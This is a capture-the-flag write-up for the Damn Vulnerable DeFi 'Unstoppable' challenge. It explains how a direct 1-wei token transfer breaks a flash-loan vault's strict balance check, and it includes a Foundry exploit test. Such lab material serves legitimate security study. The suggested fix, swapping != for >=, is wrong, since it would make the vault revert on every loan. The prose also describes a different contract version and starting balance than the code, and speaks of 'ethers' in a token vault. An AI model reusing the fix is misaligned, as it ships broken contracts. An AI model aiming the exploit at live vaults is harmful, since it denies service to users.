✅
Unstoppable
There's a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.
To pass the challenge, make the vault stop offering flash loans.
You start with 10 DVT tokens in balance.
There is a strict check in the
flashLoan()
function:if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
Sending 1 wei to the contract will break this check and cause DoS.
Our objective is to DoS the flash loan functionality, so we should be looking for things like
require
and revert
.In
UnstoppableVault.flashLoan()
:uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
If we can make
convertToShares(totalSupply)
and balanceBefore
out of sync, then the flashLoan()
call will revert. This can be a DoS attack. But how?totalAssets()
:/**
* @inheritdoc ERC4626
*/
function totalAssets() public view override returns (uint256) {
assembly { // better safe than sorry
if eq(sload(0), 2) {
mstore(0x00, 0xed3ba6a6)
revert(0x1c, 0x04)
}
}
return asset.balanceOf(address(this));
}
The assembly block tests if the storage slot 0 equals 2, and then moves something like a function selector into memory offset 0 and reverts. This looks like a defense menchanism so we can ignore it. In the end this function returns
balanceOf(address(this))
.In
flashLoan()
we are actually testing if totalSupply
is the same as balanceOf(address(this))
, but recall that there are two ways of transferring ethers into this contract:- 1.Through the
vault.deposit()
function -> this is the intended way - 2.Call
token.transfer()
directly -> this is unintended and will break the if statement.
Dangerous strict equalities: Use of strict equalities with tokens/Ether can accidentally/maliciously cause unexpected behavior. Consider using >= or <= instead of == for such variables depending on the contract logic. (see here)
To fix the code, we can just change
!=
to >=
:uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) >= balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
Simply transfer 1 wei to the lender pool:
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";
import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {UnstoppableLender} from "../../../src/Contracts/unstoppable/UnstoppableLender.sol";
import {ReceiverUnstoppable} from "../../../src/Contracts/unstoppable/ReceiverUnstoppable.sol";
contract Unstoppable is Test {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
uint256 internal constant INITIAL_ATTACKER_TOKEN_BALANCE = 100e18;
Utilities internal utils;
UnstoppableLender internal unstoppableLender;
ReceiverUnstoppable internal receiverUnstoppable;
DamnValuableToken internal dvt;
address payable internal attacker;
address payable internal someUser;
function setUp() public {
/**
* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE
*/
utils = new Utilities();
address payable[] memory users = utils.createUsers(2);
attacker = users[0];
someUser = users[1];
vm.label(someUser, "User");
vm.label(attacker, "Attacker");
dvt = new DamnValuableToken();
vm.label(address(dvt), "DVT");
unstoppableLender = new UnstoppableLender(address(dvt));
vm.label(address(unstoppableLender), "Unstoppable Lender");
dvt.approve(address(unstoppableLender), TOKENS_IN_POOL);
unstoppableLender.depositTokens(TOKENS_IN_POOL);
dvt.transfer(attacker, INITIAL_ATTACKER_TOKEN_BALANCE);
assertEq(dvt.balanceOf(address(unstoppableLender)), TOKENS_IN_POOL);
assertEq(dvt.balanceOf(attacker), INITIAL_ATTACKER_TOKEN_BALANCE);
// Show it's possible for someUser to take out a flash loan
vm.startPrank(someUser);
receiverUnstoppable = new ReceiverUnstoppable(
address(unstoppableLender)
);
vm.label(address(receiverUnstoppable), "Receiver Unstoppable");
receiverUnstoppable.executeFlashLoan(10);
vm.stopPrank();
console.log(unicode"🧨 Let's see if you can break it... 🧨");
}
function testExploit() public {
/**
* EXPLOIT START *
*/
vm.prank(attacker);
dvt.transfer(address(unstoppableLender), 1);
/**
* EXPLOIT END *
*/
vm.expectRevert(UnstoppableLender.AssertionViolated.selector);
validation();
console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}
function validation() internal {
// It is no longer possible to execute flash loans
vm.startPrank(someUser);
receiverUnstoppable.executeFlashLoan(10);
vm.stopPrank();
}
}

Last modified 9d ago